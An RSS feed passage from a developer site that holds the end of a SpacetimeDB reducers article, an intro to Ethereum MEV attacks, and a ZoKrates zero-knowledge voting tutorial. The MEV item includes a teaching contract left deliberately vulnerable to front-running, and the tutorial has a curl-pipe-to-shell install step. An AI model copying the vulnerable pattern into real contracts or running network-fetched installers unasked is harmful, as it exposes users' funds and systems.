#[derive(Clone, Debug)]
pub struct UssdSession {
    #[primary_key]
    session_id: String,
    // ... other fields ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Important tables in STK2ETH:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ussd_menu&lt;/code&gt;, &lt;code&gt;ussd_screen&lt;/code&gt;, &lt;code&gt;menu_item&lt;/code&gt;: represent static menu structure loaded from a file.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ussd_session&lt;/code&gt;: session rows for active interactions.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;swap&lt;/code&gt;: holds pending/executed swaps and transaction metadata.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eth_audit_logs&lt;/code&gt;: immutable audit trail for regulatory needs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;reducer-semantics&quot;&gt;Reducer Semantics&lt;/h3&gt;
&lt;p&gt;Reducers are Rust functions annotated with &lt;code&gt;#[reducer]&lt;/code&gt; that take a &lt;code&gt;&amp;amp;ReducerContext&lt;/code&gt; as the first argument. They are applied deterministically and atomically, and can only return &lt;code&gt;()&lt;/code&gt; or &lt;code&gt;Result&amp;lt;(), E&amp;gt;&lt;/code&gt; where &lt;code&gt;E: Display&lt;/code&gt;. This ensures state changes can be serialized consistently.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;#[reducer]
pub fn set_name(ctx: &amp;amp;ReducerContext, name: String) -&amp;gt; Result&amp;lt;(), String&amp;gt; {
    // reducer logic
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Guidelines:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Keep business logic testable: move pure logic (parsing, validation) into separate functions. Use reducers only for side-effects and DB writes.&lt;/li&gt;
&lt;li&gt;Use stable string error codes when returning &lt;code&gt;Err(String)&lt;/code&gt; from reducers to allow the UI to map errors to screens.&lt;/li&gt;
&lt;li&gt;Avoid long-running synchronous operations in reducers. Use a table (e.g., &lt;code&gt;ussd_request&lt;/code&gt;) to enqueue work for out-of-band workers when you need to call external services.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;deterministic-design-and-side-effect-management&quot;&gt;Deterministic Design and Side-Effect Management&lt;/h3&gt;
&lt;p&gt;Reducers must be deterministic and cannot perform direct network or filesystem I/O. External operations should be handled by enqueuing requests in a table, and a separate worker can process those requests and write results back to the database.&lt;/p&gt;
&lt;p&gt;Pattern:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Insert a &lt;code&gt;ussd_request&lt;/code&gt; row describing the work.&lt;/li&gt;
&lt;li&gt;An off-chain worker reads the request, performs the external call, and inserts result rows for reducers to consume.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;testing-reducers&quot;&gt;Testing Reducers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Unit test pure functions directly.&lt;/li&gt;
&lt;li&gt;Reducer tests should be small and deterministic. Use the SpacetimeDB test harness for reducers that require database access (when available).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;example-patterns&quot;&gt;Example Patterns&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Validation:&lt;/strong&gt; Pure function &lt;code&gt;validate_amount_value&lt;/code&gt; + reducer wrapper &lt;code&gt;validate_amount&lt;/code&gt; that reads config, then returns &lt;code&gt;Ok(())&lt;/code&gt; or &lt;code&gt;Err(&quot;amount_too_low&quot;)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enqueueing:&lt;/strong&gt; Reducers insert &lt;code&gt;ussd_request&lt;/code&gt; rows and return immediately.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;observability&quot;&gt;Observability&lt;/h3&gt;
&lt;p&gt;Reducers should log important events (e.g., session created, swap created, request enqueued) using SpacetimeDB’s logging system. This helps with debugging and auditing state transitions.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;SpacetimeDB offers a deterministic and transactional pattern for implementing state machines. Treat reducers as the boundary for state changes, keep logic testable, enqueue external interactions for off-chain workers, and use stable error codes for UI mapping.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/6173/spacetimedb-and-reducers-architecture-and-patterns</guid>
<pubDate>Tue, 07 Oct 2025 21:33:33 +0000</pubDate>
</item>
<item>
<title>Part-1: Intro to MEV(Maximal Extractable value) Attack</title>
<link>https://coderlegion.com/4496/part-1-intro-to-mev-maximal-extractable-value-attack</link>
<description>&lt;ul&gt;
&lt;li&gt;MEV attacks happen when someone (usually &lt;code&gt;a miner, validator, or bot&lt;/code&gt;) manipulates the order of pending transactions in Ethereum (EVM chains) to make extra money&lt;/li&gt;
&lt;li&gt;&lt;p&gt;This attaclk is done by &lt;code&gt;front-running, back-running, sandwich or liquidation attacks&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;mempool&lt;/code&gt; -&amp;gt; this is a &lt;code&gt;public memory pool&lt;/code&gt;, where all TNX are visible&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bots and attackers&lt;/code&gt; scans mempool for higher and profitable trades&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Note: This is just an intro for MEV attack with minimal code example. Part-2 will contain the code example for each attack type in MEV&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;how-this-attacks-work-&quot;&gt;How this attacks work?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;valid user submits TNX for some operation -&amp;gt; &lt;code&gt;attacker/bots&lt;/code&gt; scan the mempool for &lt;code&gt;profitable opportunities or for high trades&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;before user submit and completes TNX -&amp;gt; &lt;code&gt;attacker/bots&lt;/code&gt; manipulates the &lt;code&gt;block/price/protocol&lt;/code&gt; to earn more profit&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;core-concepts-of-mev&quot;&gt;Core concepts of MEV&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;it is easier to take advantage of MEV opportunities on &lt;code&gt;ethereum than bitcoin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Due to &lt;code&gt;Ethereum account model&lt;/code&gt; as compared to &lt;code&gt;Bitcoin UTXO model&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;arbitrage trading&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;liquidation&lt;/li&gt;
&lt;li&gt;sandwiching&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;types-of-mev-attacks&quot;&gt;Types of MEV Attacks&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Front-running attack&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;An attacker/bot scans mempool for higher trading price and sees &lt;code&gt;user TNX waiting&lt;/code&gt; to be processed and quickly submits their own -&amp;gt; &lt;code&gt;just ahead of yours&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// protocol will submit TNX to select a winner -&amp;gt;  attacker/bot sees TNX in mempool -&amp;gt; realizes they are not winner
// before protocol completes TNX and select a winner  -&amp;gt;   attacker refunds all token from protocol
// winner ends up getting lower winning price  -&amp;gt; attacker/bot gets their token
function selectWinner() external;
function refund(uint256 amount) external;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;user submit TNX  -&amp;gt;  &lt;code&gt;attacker/bot scans TNX in mempool&lt;/code&gt; -&amp;gt;  attacker submit their own TNX before user can submit their TNX&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Sandwich attack&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;An attacker places &lt;code&gt;one transaction just before user&lt;/code&gt; and &lt;code&gt;another just after user&lt;/code&gt;  -&amp;gt; sandwiching your trade.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// attacker/bot TNX  -&amp;gt;&amp;gt;&amp;gt;  user TNX  -&amp;gt;&amp;gt;&amp;gt;   attacker/bot TNX
// user takes flashloan to buy token  -&amp;gt;  attacker/bot buys token before user  -&amp;gt;  increases the token price
// user buys token at higher price -&amp;gt;  after users TNX  -&amp;gt;  attacker/bot sells token at higher price
function flashloan(to, token, amount) external;
function Tswap(token, amount) external;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Attacker buys before you and sells after you&lt;/code&gt;  -&amp;gt;&amp;gt;&amp;gt;  earning profit and users ends up paying higher price&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Arbitrage MEV Attack&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;An attacker &lt;code&gt;exploits price differences&lt;/code&gt; for a token across different DEX's at the same time&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// tokenA costs -&amp;gt; 100 USDC on uniswap
// tokenA costs -&amp;gt; 150 USDC on sushi at same time
// attacker/bots continuously scans mempool for higher trades and price changes
function tokenA_pool_uni(amount) external;
function tokenA_pool_sushi(amount) external;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;attacker/bot&lt;/code&gt; always looks for &lt;code&gt;higher and profitable trades in mempool&lt;/code&gt; to gain profit&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Liquidation MEV Attack&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;On DeFi lending protocols&lt;/code&gt;, if someone’s loan goes &lt;code&gt;under-collateralize&lt;/code&gt; (not enough assets to back the loan, e.g., in a price drop), anyone can &lt;code&gt;repay their debt and claim their collateral—with a profit bonus&lt;/code&gt;. &lt;/li&gt;
&lt;li&gt;MEV bots race to be first and claim the extra bonus&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// A loan on Aave or Compound is about to be liquidated. 
// Bots spot the chance, quickly repay the debt, seize the collateral (often at a discount), 
// and resell it for a reward
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;JIT (Just-In-Time) MEV Attack&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;simple-contract-example-for-mev-attack&quot;&gt;Simple contract example for MEV Attack&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;the contract is vulnerable to MEV attack&lt;/li&gt;
&lt;li&gt;attacker/bot can scan mempool for TNX and password  -&amp;gt;&amp;gt;&amp;gt;  withdraws funds before user could&lt;/li&gt;
&lt;li&gt;To run the code on remix checkout the below link(Thanks to CyfrinUpdraft):&lt;br&gt;
 &lt;a rel=&quot;nofollow&quot; href=&quot;https://remix.ethereum.org/#url=https://github.com/Cyfrin/sc-exploits-minimized/blob/main/src/MEV/Frontran.sol&amp;amp;lang=en&amp;amp;optimize=false&amp;amp;runs=200&amp;amp;evmVersion=null&amp;amp;version=soljson-v0.8.20+commit.a1b79de6.js&quot;&gt;Run code on remix&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;contract FrontRan {
    error BadWithdraw();

    bytes32 public s_secretHash;

    event success();
    event fail();

    constructor(bytes32 secretHash) payable {
        s_secretHash = secretHash;
    }

    // userA -&amp;gt; call withdraw() with valid password to withdraw 100ETH
    // userB -&amp;gt; user MEV Bot frontrun the TNX, uses the valid password from userA's TNX and calls the withdraw()
    // userB -&amp;gt; withdraws 100ETH before userA withdraws funds
    function withdraw(string memory password) external payable {
        if (keccak256(abi.encodePacked(password)) == s_secretHash) {
            (bool sent,) = msg.sender.call{value: address(this).balance}(&quot;&quot;);
            if (!sent) {
                revert BadWithdraw();
            }
            emit success();
        } else {
            emit fail();
        }
    }
    function balance() external view returns (uint256) {
        return address(this).balance;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;mitigation&quot;&gt;Mitigation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Proper &lt;code&gt;slippage protection&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;use of &lt;code&gt;private RPC url&lt;/code&gt; and &lt;code&gt;Private transactions (Flashbots, MEV-resistant chains).&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;And, base on protocol implement the protection&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;resources&quot;&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.galaxy.com/insights/research/mev-how-flashboys-became-flashbots&quot;&gt;https://www.galaxy.com/insights/research/mev-how-flashboys-became-flashbots&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://blockworks.co/news/curve-suffers-exploit&quot;&gt;https://blockworks.co/news/curve-suffers-exploit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.flashbots.net/&quot;&gt;https://docs.flashbots.net/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Blockchain Sec</category>
<guid isPermaLink="true">https://coderlegion.com/4496/part-1-intro-to-mev-maximal-extractable-value-attack</guid>
<pubDate>Thu, 07 Aug 2025 17:24:51 +0000</pubDate>
</item>
<item>
<title>A Clear and Working Example of Zero-Knowledge Proofs in a Real Web3 Application</title>
<link>https://coderlegion.com/4349/a-clear-and-working-example-of-zero-knowledge-proofs-in-a-real-web3-application</link>
<description>&lt;p&gt;Zero-knowledge proofs (ZKPs) allow someone to prove they know or did something — without revealing what it was. A specific type of ZKP called a &lt;strong&gt;zk-SNARK&lt;/strong&gt; (Zero-Knowledge Succinct Non-Interactive Argument of Knowledge) enables compact and fast proofs that can be verified on-chain.&lt;/p&gt;
&lt;p&gt;Writing ZK circuits manually can be complex, but &lt;strong&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://zokrates.github.io/&quot;&gt;ZoKrates&lt;/a&gt;&lt;/strong&gt; makes it much easier. It provides a high-level language and tooling to compile circuits, generate proofs, and export Solidity verifiers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/melanke/zk-voting-sample/main/working.gif&quot; alt=&quot;Working Demo&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this tutorial, we’ll use ZoKrates to build a &lt;strong&gt;simple private voting example&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;️ A user will commit to their vote (1 or 2) using a secret nonce and the Poseidon hash function.&lt;br&gt;
 Later, they’ll prove (without revealing their vote or nonce) that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The vote was valid (1 or 2), and&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It matches a previously published commitment.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We’ll generate the proof entirely in JavaScript and verify it on-chain — all using a local setup with &lt;strong&gt;scaffold-eth-2&lt;/strong&gt;, a powerful framework for building Ethereum dApps.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;⚠️ This is a minimal example to help you understand the flow. It’s not a full voting system — just a small step into the zk world.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id=&quot;-step-0-install-zokrates&quot;&gt;️ Step 0: Install ZoKrates&lt;/h3&gt;
&lt;p&gt;On Linux/macOS, install with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -LSfs get.zokrat.es | sh
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;&lt;p&gt;⚠️ On &lt;strong&gt;Windows&lt;/strong&gt;, make sure to install and run inside &lt;strong&gt;WSL&lt;/strong&gt; (Windows Subsystem for Linux), or you’ll face compatibility issues.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Check it's working:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;zokrates --help
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;-step-1-bootstrap-your-dapp&quot;&gt;⚙️ Step 1: Bootstrap Your dApp&lt;/h3&gt;
&lt;p&gt;Use &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/scaffold-eth/scaffold-eth-2&quot;&gt;scaffold-eth-2&lt;/a&gt; — the fastest way to start building full-stack dApps.&lt;/p&gt;
&lt;p&gt;Initialize the project:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx create-eth@latest # we are using foundry, but hardhat works too
cd my-zk-vote  # open the project's directory
yarn           # install all dependencies
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add ZK dependencies on NextJS package:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;cd packages\nextjs # go to nextjs directory
yarn add circomlibjs zokrates-js # add zk frontend dependencies
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Start development servers:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;cd ..\..       # go back to the root directory
yarn chain     # start local blockchain
yarn deploy    # deploy contracts
yarn start     # launch frontend
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-2-write-the-circuit&quot;&gt;Step 2: Write the Circuit&lt;/h3&gt;
&lt;p&gt;You can see the circuit as a way to validate secret information. Each information marked as &lt;code&gt;private&lt;/code&gt; will remain secret and can be validated against other public arguments. &lt;/p&gt;
&lt;p&gt;Create a file at &lt;code&gt;packages/foundry/contracts/vote.zok&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-zokrates&quot;&gt;import &quot;hashes/poseidon/poseidon.zok&quot;;

def main(private field vote, private field nonce, field commitment) -&amp;gt; bool {
    assert(vote == 1 || vote == 2);
    field hash = poseidon([vote, nonce]);
    assert(hash == commitment);
    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;what-this-does-&quot;&gt;What this does:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Enforces that the vote must be &lt;code&gt;1&lt;/code&gt; or &lt;code&gt;2&lt;/code&gt; — a simple rule for this example.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hashes the vote and a secret nonce using &lt;strong&gt;Poseidon&lt;/strong&gt;, then checks that it matches the provided commitment — proving the commitment corresponds to a valid vote.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;Why Poseidon? It’s a hash function designed for zero-knowledge circuits — much faster and cheaper to verify in zk-SNARKs than SHA256 or Keccak.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-3-generate-the-commitment-in-javascript&quot;&gt;Step 3: Generate the Commitment in JavaScript&lt;/h3&gt;
&lt;p&gt;Create a helper file at &lt;code&gt;packages/nextjs/utils/zkVote.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { buildPoseidon } from &quot;circomlibjs&quot;;

export async function generateCommitment(vote: number, nonce: bigint): Promise&amp;lt;string&amp;gt; {
  const poseidon = await buildPoseidon();
  const commitment = poseidon([BigInt(vote), nonce]);
  return poseidon.F.toString(commitment);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; You can now copy &lt;code&gt;vote&lt;/code&gt;, &lt;code&gt;nonce&lt;/code&gt;, and &lt;code&gt;commitment&lt;/code&gt; into the &lt;a rel=&quot;nofollow&quot; href=&quot;https://play.zokrat.es/&quot;&gt;ZoKrates Playground&lt;/a&gt; to test your circuit manually.&lt;/p&gt;
&lt;p&gt; Tip: You can use the commands below to quickly generate a commitment to test on the playground:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;cd packages/nextjs
npx --package typescript tsc utils/zkVote.ts --target es2020 --module commonjs --outDir dist --esModuleInterop
node -e &quot;require('./dist/zkVote.js').generateCommitment(2, 123456789n).then(console.log);&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-4-compile-the-circuit&quot;&gt;Step 4: Compile the Circuit&lt;/h3&gt;
&lt;p&gt;Run this from your project root:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd packages/foundry/contracts
zokrates compile -i vote.zok
zokrates setup
zokrates export-verifier
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This will produce a &lt;code&gt;verifier.sol&lt;/code&gt; file you can use on-chain.&lt;/li&gt;
&lt;li&gt;Move &lt;code&gt;proving.key&lt;/code&gt; and &lt;code&gt;verification.key&lt;/code&gt; to &lt;code&gt;packages/nextjs/public&lt;/code&gt; so it's available in the frontend, don't worry, these keys are not private.&lt;/li&gt;
&lt;li&gt;You can delete &lt;code&gt;abi.json&lt;/code&gt;, &lt;code&gt;out&lt;/code&gt; and &lt;code&gt;out.r1cs&lt;/code&gt; files, if you want.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-5-add-the-verifier-to-your-app&quot;&gt;Step 5: Add the Verifier to Your App&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Create `packages/foundry/script/DeployVerifier.s.sol:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-sol&quot;&gt;pragma solidity ^0.8.19;

import &quot;./DeployHelpers.s.sol&quot;;
import &quot;../contracts/verifier.sol&quot;;

contract DeployVerifier is ScaffoldETHDeploy {
    function run() external ScaffoldEthDeployerRunner {
        new Verifier();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Edit `packages/foundry/script/Deploy.s.sol:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-sol&quot;&gt;pragma solidity ^0.8.19;

import &quot;./DeployHelpers.s.sol&quot;;
import { DeployYourContract } from &quot;./DeployYourContract.s.sol&quot;;
import { DeployVerifier } from &quot;./DeployVerifier.s.sol&quot;;

contract DeployScript is ScaffoldETHDeploy {
    function run() external {
        DeployYourContract deployYourContract = new DeployYourContract();
        deployYourContract.run();

        DeployVerifier deployVerifier = new DeployVerifier();
        deployVerifier.run();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Then redeploy everything:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;yarn deploy
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-6-generate-the-proof-in-the-frontend&quot;&gt;Step 6: Generate the Proof in the Frontend&lt;/h3&gt;
&lt;p&gt;Continue in &lt;code&gt;packages/nextjs/utils/zkVote.ts&lt;/code&gt; and add the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;import { initialize } from &quot;zokrates-js&quot;;

let cachedKeypair: any = null;

async function loadKeypair() {
  if (!cachedKeypair) {
    const provingKeyResponse = await fetch(&quot;/proving.key&quot;);
    const provingKeyBuffer = await provingKeyResponse.arrayBuffer();

    const verificationKeyResponse = await fetch(&quot;/verification.key&quot;);
    const verificationKeyBuffer = await verificationKeyResponse.arrayBuffer();

    const provingKeyUint8 = new Uint8Array(provingKeyBuffer);
    const verificationKeyUint8 = new Uint8Array(verificationKeyBuffer);

    cachedKeypair = {
      pk: provingKeyUint8,
      vk: verificationKeyUint8,
    };
  }
  return cachedKeypair;
}

export type Proof = {
  proof: {
    a: { X: bigint; Y: bigint };
    b: { X: readonly [bigint, bigint]; Y: readonly [bigint, bigint] };
    c: { X: bigint; Y: bigint };
  };
  inputs: readonly [bigint, bigint];
};

function formatProof(rawProof: any): Proof {
  const { a, b, c } = rawProof.proof;

  const toBigTuple = (arr: string[]) =&amp;gt; [BigInt(arr[0]), BigInt(arr[1])] as const;

  return {
    proof: {
      a: { X: BigInt(a[0]), Y: BigInt(a[1]) },
      b: { X: toBigTuple(b[0]), Y: toBigTuple(b[1]) },
      c: { X: BigInt(c[0]), Y: BigInt(c[1]) },
    },
    inputs: toBigTuple(rawProof.inputs),
  };
}

export async function proveVote(vote: number, nonce: bigint, commitment: string): Promise&amp;lt;Proof&amp;gt; {
  const zokrates = await initialize();
  const artifacts = zokrates.compile(`
  import &quot;hashes/poseidon/poseidon.zok&quot;;

  def main(private field vote, private field nonce, field commitment) -&amp;gt; bool {
      assert(vote == 1 || vote == 2);
      field hash = poseidon([vote, nonce]);
      assert(hash == commitment);
      return true;
  }
      `);
  const keypair = await loadKeypair();

  const { witness } = zokrates.computeWitness(artifacts, [vote.toString(), nonce.toString(), commitment]);
  const rawProof = zokrates.generateProof(artifacts.program, witness, keypair.pk);
  return formatProof(rawProof);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The important method here is &lt;code&gt;proveVote&lt;/code&gt;, it will:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;initialize zokrates&lt;/li&gt;
&lt;li&gt;compile the circuit&lt;/li&gt;
&lt;li&gt;load the keypairs&lt;/li&gt;
&lt;li&gt;compute witness using the arguments of the method&lt;/li&gt;
&lt;li&gt;generate the proof with the compiled circuit, the witness and the proving key.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;step-7-verify-the-proof-on-chain&quot;&gt;Step 7: Verify the Proof On-Chain&lt;/h3&gt;
&lt;p&gt;Call your Verifier contract from the frontend on a Nextjs page:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-ts&quot;&gt;&quot;use client&quot;;

import { useRef, useState } from &quot;react&quot;;
import type { NextPage } from &quot;next&quot;;
import { toast } from &quot;react-hot-toast&quot;;
import { useScaffoldReadContract } from &quot;~~/hooks/scaffold-eth&quot;;
import { Proof, generateCommitment, proveVote } from &quot;~~/utils/zkVote&quot;;

const Home: NextPage = () =&amp;gt; {
  // generate a random nonce
  const nonceRef = useRef&amp;lt;bigint&amp;gt;(BigInt(Date.now() + Math.floor(Math.random() * 1000)));

  // state for the vote, the commitment, the proof, and the loading state
  const [vote, setVote] = useState&amp;lt;string&amp;gt;(&quot;&quot;);
  const [commitment, setCommitment] = useState&amp;lt;string&amp;gt;();
  const [proof, setProof] = useState&amp;lt;Proof | null&amp;gt;(null);
  const [isLoading, setIsLoading] = useState(false);

  // verify the proof onchain once you have the proof
  const { data: isVerified } = useScaffoldReadContract({
    contractName: &quot;Verifier&quot;,
    functionName: &quot;verifyTx&quot;,
    args: [proof?.proof, proof?.inputs],
    query: {
      enabled: !!proof,
    },
  });

  // generate the commitment when the user clicks the button
  const handleVote = async () =&amp;gt; {
    if (!vote) return;

    setIsLoading(true);
    try {
      const voteNumber = Number(vote);
      const newCommitment = await generateCommitment(voteNumber, nonceRef.current);
      setCommitment(newCommitment);
    } catch (error) {
      toast.error(&quot;Error generating commitment: &quot; + (error as Error).message);
    } finally {
      setIsLoading(false);
    }
  };

  // prove the vote when the user clicks the button
  const handleProve = async () =&amp;gt; {
    if (!vote || !commitment) return;

    setIsLoading(true);

    try {
      const voteNumber = Number(vote);
      const newProof = await proveVote(voteNumber, nonceRef.current, commitment);
      setProof(newProof);
    } catch {
      toast.error(&quot;Impossible to prove&quot;);
      setProof(null);
    } finally {
      setIsLoading(false);
    }
  };
  
  // render your page...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can check the whole code of the page component in the &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/melanke/zk-voting-sample/blob/main/packages/nextjs/app/page.tsx&quot;&gt;repository Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To test your ZK dApp locally, just open &lt;a rel=&quot;nofollow&quot; href=&quot;http://localhost:3000&quot;&gt;http://localhost:3000&lt;/a&gt; in your browser.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;In this example, we called the &lt;code&gt;Verifier&lt;/code&gt; contract directly from the frontend. That’s useful for learning — but in a real-world application, it’s not the pattern you’d use.&lt;/p&gt;
&lt;p&gt;Instead, your main contract (e.g. a voting contract, identity manager, or game logic) would receive the proof and &lt;strong&gt;internally call the Verifier contract&lt;/strong&gt; to validate it before proceeding with any logic.&lt;/p&gt;
&lt;p&gt;This architecture gives you control and flexibility:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;function submitVote(
  uint[2] calldata a,
  uint[2][2] calldata b,
  uint[2] calldata c,
  uint[] calldata input
) external {
  require(verifier.verifyTx(a, b, c, input), &quot;Invalid proof&quot;);
  // continue with vote counting, recording, etc
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4 id=&quot;what-you-could-build-with-this&quot;&gt;What You Could Build with This&lt;/h4&gt;
